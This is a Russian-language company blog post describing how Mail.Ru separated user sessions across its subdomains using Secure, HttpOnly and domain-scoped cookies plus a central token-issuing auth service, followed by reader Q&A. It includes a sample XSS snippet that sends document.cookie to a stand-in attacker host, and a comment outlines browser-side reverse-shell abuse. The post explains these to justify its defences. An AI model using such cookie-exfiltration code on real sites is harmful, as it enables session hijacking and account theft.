Компания
818,17
рейтинг
4 августа 2014 в 12:07

Разработка → Разделяй и властвуй: как мы реализовывали разделение сессий на портале Mail.Ru



Mail.Ru — огромный портал, существующий более 15-ти лет. За это время мы прошли путь от небольшого веб-проекта до самого посещаемого сайта рунета. В состав портала входит огромное количество сервисов, у каждого из которых своя судьба, и над каждым из которых работает отдельная команда. Разработчикам пришлось как следует потрудиться, чтобы на всех проектах — и новых, и старых, и тех, которые присоединились к порталу по мере его развития, — использовалась единая система авторизации. А через много лет перед нами встала фактически обратная задача: разделить пользовательские сессии. О том, зачем мы это делали, какие трудности нас ожидали и как мы их обошли, я расскажу в этом посте.

Вернемся на много лет назад. Так как все сервисы компании находились в одном домене второго уровня с разделением на домены третьего уровня, внедрение общей авторизации казалось достаточно тривиальной задачей. Для ее решения выбрали классический (на тот момент) вариант: перевели все ресурсы на единую авторизационную форму, выставили авторизационную куку на домен второго уровня, а на серверной стороне стали проверять корректность переданной куки. Просто, красиво и работает:

Set-Cookie: Mpop=1406885629:fbd9c78cdb2c08634e0977fa1b9e6c6c:user@mail.ru:; domain=.mail.ru

Постепенно сервисы привыкли к использованию общей авторизационной куки, добавили в неё %LOGIN_NAME% для более удобного отображения на страницах портала, и стали обращаться к этой куке при помощи JavaScript на своих страницах. Однако времена менялись…

Враг не дремлет

По мере роста компании пользовательские аккаунты стали лакомой добычей для злоумышленников всех мастей. Сперва появились брутфорсеры. Они ограничивались перебором пользовательских паролей в поисках желающих увековечить дату своего рождения или имя любимого питомца.

За ними подтянулись фишеры. Они стали рассылать пользователям портала письма, похожие на письма Mail.Ru. Либо содержащие ссылки на сайты, которые притворялись портальным авторизационным центром, и различными способами пытались выудить пароли пользователей.

Мы тоже не дремлем

К борьбе с фишерами и брутфосерами приступили команды антиспама и информационной безопасности. Технологии и агитация принесли свои плоды: взломов стало существенно меньше. Хотя слабые пароли вкупе с человеческой доверчивостью и по сей день являются главными помощниками в деле отъема учеток у населения, но это уже лирическое отступление.

Через некоторое время подобный бизнес начал приносить деньги, и вслед за школьниками подтянулась тяжёлая артиллерия. Появились злоумышленники, которые находили уязвимости в веб-сервисах и использовали их для получения доступа к пользовательским аккаунтам. Помимо этого, они находили способ прослушать трафик между пользовательским компьютером и сервисами компании. Целью всей этой противозаконной деятельности была авторизационная сессия пользователя — та самая портальная кука.

Всегда ли HTTPS — HTTPS?

Ключевые в плане защиты пользовательских данных сервисы, например, Почту или Облако, мы спрятали за HTTPS. Использование защищенного HTTPS соединения, казалось бы, решало наши проблемы. Данные, передаваемые по такому соединению, шифруются и подписываются, поэтому третья сторона не сможет прочитать или подменить их.



Но что произойдет, если хакер, находящийся между сервером и браузером, заставит браузер пользователя зайти на сайт портала по незащищенному протоколу? Для этого ему достаточно будет перехватить любой HTTP-ответ, отправленный пользователю в незашифрованном виде, и добавить в него картинку с правильным адресом:



Хакер заставляет браузер пользователя посетить портал по нешифрованному соединению. Как видно на схеме, кука session_id автоматически отправится на сервер портала в нешифрованном соединении, и, конечно же, хакер легко сможет ее перехватить. После этого он сможет пользоваться аккаунтом пользователя так, как если бы ему был известен пароль. Чтобы этого избежать, сервер может выставить для куки флаг Secure. Он сигнализирует браузеру, что отправлять эту куку на сервер нужно только в случае, если подключение выполняется по протоколу HTTPS. Выставляется флаг так:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure


Это важный нюанс, который нужно учитывать при настройке HTTPS на сервере: установка Secure-флага для авторизационных кук — это абсолютный must-have для сервиса в наше время. На большом портале эта проблема становится еще актуальнее. В условиях центральной авторизации использование HTTP в сервисе, находящемся в домене портала, дает зеленый свет желающим обойти HTTPS. Но даже если всё за HTTPS и невосприимчиво к прослушке трафика, всегда актуальными остаются риски эксплуатации веб-уязвимостей на сервисе, например XSS. Так что приходится либо отказываться от общей авторизации, либо идти другим путем, о котором я расскажу позже.

Без XSS

«Межсайтовый скриптинг (или XSS), среди прочего вредного, может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя», — говорит нам Википедия. При использовании XSS-уязвимости в большинстве случаев главной целью злоумышленников становятся именно авторизационные куки, которые в дальнейшем используются для получения доступа к аккаунту. Обычно взломщики используют примерно такой JS-код для угона сессии пользователя:

var іmg = new Image();
іmg.srс =  'http://hacker.site/xss-sniffer.php?' + document.cookie;



Безусловно, самым важным и действенным методом борьбы с ошибками XSS является предотвращение их появления: тестирование, обучение разработчиков, код-ревью, аудиты информационной безопасности. Тем не менее, при наличии большого числа проектов с разными командами, невозможно добиться кода, абсолютно лишенного ошибок. Наша основная цель — защита пользовательского аккаунта. И мы должны позаботиться о том, чтобы он оставался в безопасности независимо от того, есть ли в системе XSS-уязвимости и пытаются ли их использовать.

В этом нам могут помочь HttpOnly куки. HttpOnly — это куки, которые невозможно прочитать с помощью JavaScript, но которые при этом доступны серверным скриптам, как любые другие. Несмотря на то, что это далеко не новая технология (например, у Microsoft поддержка HttpOnly куки появилась 8 лет назад в IE6 SP1), не все знают, почему их стоит использовать везде, где это возможно. Куки, недоступные из JavaScript, будут своеобразным вторым рубежом обороны от злоумышленников, планирующих XSS-атаку: прокравшийся на страницу вредоносный код не сможет утащить пользовательские куки с помощью document.cookie. Кроме того, использование флага HttpOnly в куках помогает защитить пользовательский аккаунт от недоверенных скриптов, баннеров или счётчиков, которые могут подгружаться с неподконтрольных компании ресурсов.

Нет в мире совершенства, и HttpOnly куки также нельзя назвать панацеей: флаг HttpOnly не спасает полностью от XSS-уязвимостей. Зато он сильно ограничивает варианты эксплуатации: он не позволит вредоносному JS-коду увести сессию авторизации. Существуют ситуации, когда их использование становится невозможным. Например, при активном использовании Flash. Тем не менее, это не повод полностью отказываться от HttpOnly куки. Можно минимизировать риски, сочетая два вида кук и используя HttpOnly хотя бы там, где это возможно. Итак, мы выставили Secure и HttpOnly флаги для кук — что ещё?

Подоменные куки

Как вы помните, для обеспечения сквозной авторизации на всех сервисах компании мы использовали одну авторизационную куку, выставленную на домен второго уровня. Общая авторизационная кука — это не только удобство, но еще и возможность получить доступ ко всем сервисам разом с помощью одной уязвимости на любом проекте компании. Украв авторизационную куку с сервиса a.ya-site-s-obschey-avtorizaciey.ru, мы получаем доступ на b.ya-site-s-obschey-avtorizaciey.ru.

Аналогичным образом работает сниффинг трафика, если только не используются Secure куки. Если один сервис компании безопасен и использует HTTPS, а другой ходит по HTTP, то достаточно инструктировать браузер пользователя на поход на менее защищенный сервис, украсть авторизационную куку и использовать её для авторизации в безопасном сервисе.

Теперь для решения этой проблемы у кук выставляется атрибут domain:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.company.com; secure


Такая кука будет отправляться браузером только в запросах на домен a.company.com и его поддомены. При использовании подоменных кук, в случае нахождения уязвимости на отдельно взятом сервисе, пострадает только он. Справедливо это как для XSS, так и для других уязвимостей.

И как все это связать?

Итак, мы перевели на HTTPS ключевые сервисы, обзавелись подоменными куками, ищем и искореняем уязвимости и вообще стараемся всячески обезопасить себя и пользователя со всех сторон. А как же единая авторизация? Для обеспечения общей авторизации в нашей разнородной среде, где рядом сосуществуют HTTP и HTTPS, мы ввели дополнительные доменные куки, необходимые для усиления безопасности использования конкретного проекта. Помимо основной авторизационной куки (Mpop), в проектном домене выставляется дополнительная кука (sdc). Авторизация на этом проекте будет валидна только при наличии обеих кук — Mpop и внутридоменной sdc-куки.



Механизм разделения сессий в Mail.Ru работает следующим образом: аутентификация пользователя всегда происходит через единый центр авторизации, auth.mail.ru, который получает логин и пароль и выдает доменную куку .auth.mail.ru с флагами Secure и HTTPOnly. Ни один из проектов не имеет доступа к логину и пароля пользователя. Кука .auth.mail.ru также недоступна ни одному из проектов.

Когда пользователь заходит на сайт проекта, для которого у него еще нет авторизации, его запрос перенаправляется в центр авторизации. Центр авторизации аутентифицирует его по наличию куки .auth.mail.ru, генерирует одноразовый токен и перенаправляет на страницу проекта. Токен проксируется проектом в центр авторизации, который по нему генерирует уже проектную куку для .project.mail.ru. Таким образом, сохраняются все преимущества единой портальной авторизации, но прозрачно для пользователя разделяется авторизация доступа к различным ресурсам.

Внедрение разделения сессий – это один небольшой, но крайне важный шаг в рамках общей идеологии разделения доступа, которой мы придерживаемся. Разграничение доступа позволяет сделать защиту ресурсов более консистентной, не ограничиваться «внешним контуром» – даже если атакующему удалось стащить сессию к одному из ресурсов или другим образом скомпрометировать его, последствия для пользователя будут минимальны. Помимо разделения сессий есть и другие, невидимые для пользователя (а это очень здорово) технологии разделения доступа. О них мы расскажем в одном из следующих постов.

Итак, мы пришли к тому, что даже объединенные общей платформой сервисы под капотом должны разделяться, и постепенно внедряем этот принцип на нашем портале. Уверены, что скоро по этому же пути пойдут и наши коллеги из других российских компаний, и значительная часть интернет-злоумышленников наконец останется без работы. Враг не пройдет!
Автор: @z3apa3a

Вакансии компании

Комментарии (31)

  • +5
    Спасибо!
  • 0
    выставили авторизационную куку на домен второго уровня, а на серверной стороне стали проверять корректность переданной куки.

    Кто-нибудь может объяснить, как делается серверная проверка? Предположим, у меня есть 2 сервера, один в России + ещё один в Германии. Как безопасно организовать процесс, какие технологии использовать?
    P.S. Если это в блоге уже описывалось, буду рад ссылке, вопрос интересует, но в сетевых технологиях не силён.
    • +4
      Правильно сделать так, чтобы код, который обслуживает запросы пользователей, и код, который производит авторизацию запросов и работает с эккаунтами пользователями были изолированы друг от друга. Изоляция может быть в рамках одной машины, если это небольшой проект — разнести его по разным виртуальным хостам, системным эккаунтам, возможно, виртуальным машинам. В случае двух сильно удаленных хостов с негарантируемой связью это единственный вариант. Если проект большой — то чем больше уровней изоляции — тем лучше — т.е. желательно разносить не просто по разным виртуальным хостам, системным эккаунтам — но и по разным физическим машинам и сегментам сети.

      Если вопрос о том, как безопасно связать 2 сервера — то ответ: через VPN.
    • +1
      куку просто надо подписывать одним ключем, который секретно храниться на двух серверах. Посмотрите как это реализовано в asp.net «из коробки» msdn.microsoft.com/en-us/library/ff649308.aspx
      Ну и проверять пришедшую куку перед какой-то с ней работой естественно.
      • +3
        В mail.ru когда-то использовался похожий подход, но отказались от него довольно давно, хотя для многих проектов он вполне пригоден. Единственное замечание — с точки зрения разделения доступа использование симметричного ключа является ошибкой, т.к. ключ компрометируется при компрометации любого хоста. Правильно использовать ассиметричную криптографию или комбинацию.

        Но у такого подхода есть и свои недостатки, например, достаточно сложно завершить сеанс пользователя на всех проектах одновременно.
  • +8
    Хороший пост. Раскрыта тема применения флагов Secure и HttpOnly. Надо взять себе на вооружения.
  • +8
    Спасибо, отличный пост. Must read всем причастным
  • 0
    > Mail.Ru — огромный портал, существующий более 15-ти лет. За это время мы прошли путь от небольшого веб-проекта до самого посещаемого сайта рунета.
    vk.com?
    • +5
      vk.com действительно самый посещаемый сайт рунета, но не портал. Mail.Ru это не только главная страница или почта — это несколько сотен проектов. Месячная аудитория портала Mail.Ru – 59 млн. Для сравнения: ВКонтакте, — 52,1 млн (TNS, все население России в возрасте от 12 до 64 лет, март 2014 г.) и он только третий.
    • 0
      Я подумал, что Mail.Ru в какой-то момент был самым посещаемым сайтом рунета.
  • +3
    Спасибо за статью, возьму на заметку. Возник вопрос, не проще ли полностью поставить все проекты за принудительный HTTPS.
    • +4
      Очень правильный вопрос, спасибо.

      Принудительный HTTPS (перенаправление + HTTP Strict Transport Security) обязательно нужен на критичных проектах, но он не отменяет необходимости реализовывать разделение сессий, потому что:
      • Без разделения сессий компрометация одного из проектов приведет к компрометации всех проектов. В качестве примера можно привести Heartblead. Несколько проектов у нас были поддвержены этой атаке. По счастью, почту и центр авторизации «пронесло». Это как раз тот случай, когда нас спасло разделение сессий, т.к. компрометация второстепенных проектов не привела к компрометации учетных записей пользователей и почты.
      • Если у кук нет флажка HTTPOnly, то XSS приводит к угону сессии, наличие https никак не влияет на это
      • HTTP Strict Transport Security работает не во всех браузерах + не работает, когда пользователь долго не заходил на сайт.
        Если у куки нет флажка Secure, то MitM все равно может угнать куку, заставив пользователя посетить незащищенный сайт, т.к. в запросе на незащищенный сайт кука будет присутствовать. Принудительный HTTPS в данном случае тоже не спасет.

      Т.е. надо использовать И принудительный https И разделение сессий.
    • 0
      Зависит от проекта.
      Там, где отдается много аудио/видео/больших картинок, будут очень большие накладные расходы на шифрование.
      Как на серверах, так и на клиентах (а особенно на мобильных клиентах).
      Т.е. вылезают проблемы из другой области.
      • 0
        Накладные расходы есть, но при правильной организации их можно минимизировать. Мы тоже боялись что не справимся по нагрузкам, но на практике потребление ресурсов оказалось не таким страшным. Вот здесь статья, как почта переводилась на SSL.
        SSL используется и в Облаке, где трафик передается десятками гигабайт, в том числе в мобильных клиентах, к явным проблемам с быстродействием это не приводит.
        • 0
          Понятно, спасибо.
          Честно говоря, я думал, у вас https терминируется каким-нибудь аппаратным решением :)
          Мне кажется, серьёзные проблемы должны возникнуть при передаче видео, в том же HD.
          Даже не столько у вас, сколько у клиента.
          Если не секрет, как вы с видео поступили?
          • 0
            Поддержка «онлайнового» просмотра загруженного видео пока только в разработке, но могу сказать что потребление процессора на нужды SSL не превышает 2%, на мобильных клиентах процент может быть немного выше, но все равно не критический.
  • +1
    Очень полезно. Интересно было бы сравнить с авторизацией у гугл: как они это делают, какие плюсы/минусы.
    • 0
      Деталей реализации не знаю, но гугл совершенно точно использует разделение сессий по поддоменам.
  • +3
    Мне больше понравилась реализация на vk.com. Там основная кука сессии привязана к ip. Если украсть её, то она окажется бесполезна. В случае смены ip, происходит редирект на домен 3-го где установлена http only, secure кука, в случае её успешной проверки происходит обновление ip-зависимой куки. Вообще удивило что такой большой портал как mail.ru так поздно занялся решением такой большой проблемы.
    • +1
      Это почти тот же интересный и правильный вопрос, что обсуждался чуть выше, про то, что не проще ли внедрить принудительный https. Таким образом vk.com решается проблему относительно безопасного использования сессионных кук на небезопасном сайте без поддержки . Это в общем-то костыль, решение не надежно — если у вас в интернет-кафе отснифили привязанную к IP куку, то пока вы сидите в кафе и даже когда вы из кафе уходите, у похитителя остается доступ к сайту вместе с вашим прошлым IP адресом. Конечно, через некоторое время эта сессия проэкспайрится, но до тех пор ваш эккаунт доступен.
      В почте Mail.Ru эта проблема решается именно путем принудительного https и HSTS, что гораздо надежней. vk.com уже внедряет https на добровольной основе и, надеюсь, в итоге придет к тому же решению с принудительным https + HSTS.

      В этой же статье описывается решение несколько другой проблемы, с которой ВКонтакте пока не приходилось сталкиваться: это наличие в рамках одного домена второго уровня большого количества разных проектов, между которыми разделяется общая аутентификация пользователя. Требуется, чтобы ошибка в менее критическом проекте, например флеш-открытке с котиками, не затрагивала безопасность критических проектов, например ПочтыMail.Ru.
  • 0
    Видимо я что-то упускаю. А что в текущей реализации мешает использовать XSS на проекте X про следующему сценарию:
    1. Скрытый фрейм грузит главную проекта x.mail.ru — прозрачно для пользователя проходит авторизация, если раньше ее не было.
    2. Скрытый фрейм запускает с помощью XSS shell of the future, обходя ограничения http only, а secure здесь и так никаким боком.
    3. Злоумышленники делают то, что хотели — читают логин с полученной страницы, крадут данные, что-то меняют и т.п.

    Или же речь только о том, что теперь XSS на одном проекте не даст доступа к остальным?

    К стати, а почему бы не сделать Google-style авторизацию на новых, ранее не посещенных, проектах — по обязательному клику со стороны пользователя? Тогда ни разу не ходившие на x.mail.ru окажутся неподверженны XSS на нем.
    • +1
      Если по пунктам:
      1й — не получится из-за X-Frame-Options на главной странице.
      2й — shell of the future не обходит ограничения HTTPOnly, это реверс-шел на JS и имеет доступ только к тому, к чему имеет доступ JS. JS не имеет доступа к HTTPOnly кукам. Кроме того, загрузить внешний скрипт на наших основных проектов может быть немного сложно из-за CSP (Content Security Policy).
      3й — НО, даже если полуилось загрузить скрипт и даже если бы скрипт имел доступ к кукам на главной странице, для того, чтобы получить доступ к сессии электронной почты, не достаточно куки с главной страницы, это как раз заслуга разделения сессий. Чтобы получить доступ к электронной почте, XSS должен быть именно в электронной почте.

      И кстати, у нас есть программа поиска уязвимостей, за XSS в почте мы платим около $500, присоединяйтесь.
      • +2
        1-й X-Frame-Options это действительно похвально, но скрытый фрейм нужен только для того, чтобы пользователь не слишком сильно насторожился. Делаем тоже самое в открытую в новой вкладке, пускай насторожится, все равно поздно будет. X-Frame-Options это скорее против clikjacking.
        2-й Shell of the future это в каком-то смысле обход HTTPOnly. Потому что не нужно узнавать само значение из куки, как было принято 15 лет назад и как до сих пор учат чуть ли не все гайды «XSS для начинающих». Просто шлем запросы из пользовательского браузера и читаем ответы. Само собой в реальных атаках SoF не используется, пишутся конкретные скрипты, которые без интерактивного участия проводят атаку, но суть остается та же — куки красть не надо.
        А вот CSP, хоть и не панацея, но, по-моему, является на данный момент самым серьезным механизмом противодействия XSS. HTTPOnly и даже хромовский XSS аудитор проблему не решают, а CSP при правильных настройках сводит практически к нулю вероятность успешной атаки. Молодцы, что используете.
        3-й Я уже осознал, что речь как раз о «XSS на a.mail.ru не дает доступа к b.mail.ru», по вашим предыдущим ответам :)

        Программу поиска видел, как только руки дойдут — так сразу.
        • 0
          Да, все так, в этом плане XSS это действительно в какой-то степени эквивалент доступа к сессии пользователя (не важно, с кукой или без), на то время, пока открыта вкладка.
  • +2
    Очень похоже на kerberos.
    • 0
      Да совершенно верно. Выше обсуждался вариант, который еще более похож на Kerberos, когда клиент получает подписанную куку.
  • 0
    Расскажите, пожалуйста, подробнее вот про это:
    Когда пользователь заходит на сайт проекта, для которого у него еще нет авторизации, его запрос перенаправляется в центр авторизации. Центр авторизации аутентифицирует его по наличию куки .auth.mail.ru, генерирует одноразовый токен и перенаправляет на страницу проекта. Токен проксируется проектом в центр авторизации, который по нему генерирует уже проектную куку для .project.mail.ru.


    Не очень понял логику. Зачем «Токен проксируется проектом в центр авторизации, который по нему генерирует уже проектную куку для .project.mail.ru»? Токен проксируется обратно на auth.mail.ru для того чтобы убедиться, что это валидный токен, верно? Но почему куку генерирует центр авторизации, а не сам project.mail.ru? Ведь, насколько я понял, задача в том, чтобы выставить sdc-куку именно на уровне проекта. И если кука генерируется на уровне центра авторизации, то как она передается на сайт проекта? Грубо говоря: проект curl-ом соединяется с центром авторизации, а центр авторизации возвращает некторое значение, которое проект должен использовать для sdc-куки?

    И еще вопрос: как запрос проекта «проксируется» в центр авторизации? Это curl-запрос не выходящий за рамки локальной сети, в которой работают все проекты или нет?
    • 0
      Можно и curl, но на самом деле проще даже без курла — именно проксированием запроса (+служебные заголовки, например для передачи информации о клиенте, токена авторизации проекта и т.п.) и ответа — например балансировщиком или на reverse proxy. Центр авторизации в таком случае отвечает и за валидацию токена и за то, чтобы он был одноразовым. Это позволяет избежать лишнего дублирующего кода в проектах.

      Как вариант, можно подписывать токен, но тогда логику проверки придется реализовывать в каждом проекте.
      • 0
        Спасибо. Уточните, пожалуйста, еще один момент.

        Когда пользователь заходит на сайт проекта, для которого у него еще нет авторизации, его запрос перенаправляется в центр авторизации.


        Где определяется, что пользователь не авторизован? В браузере или на сервере?

        Если речь о редиректе на уровне веб-сервера, то какой код для редиректа используется? 305, 307? Или авторизационная кука sdc-кука проверяется джаваскриптом (она ведь не httponly?) в браузере и им же делается редирект?
        • +1
          Проверяется на серверсайде, дается обычно 302 с запретом кэширования.
          • 0
            Спасибо большое за ответ. Еще один вопрос.

            Центр авторизации аутентифицирует его по наличию куки .auth.mail.ru, генерирует одноразовый токен и перенаправляет на страницу проекта.

            Я правильно понимаю, что токен передается просто GET-параметром на какой-то стндартный для проекта redirect url (примерно также сделано в oAuth2)? То есть схема выглядит так:
            * юзер зашел на project.mail.ru, при этом он уже залогинен на одном из других проектов Mail.ru,
            * его редиректит (с кодом 302) на auth.mail.ru,
            * так как в auth.mail.ru есть его авторизационная кука его редиректит на, например, project.mail.ru/redirect?token=123456,
            * project.mail.ru берет токен и передает его обратно на auth.mail.ru и в ответ получает сообщение, что все ок, токен валиден,
            * после этого project.mail.ru выставляет свою авторизационную куку.

            Верно я понял или нет?

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка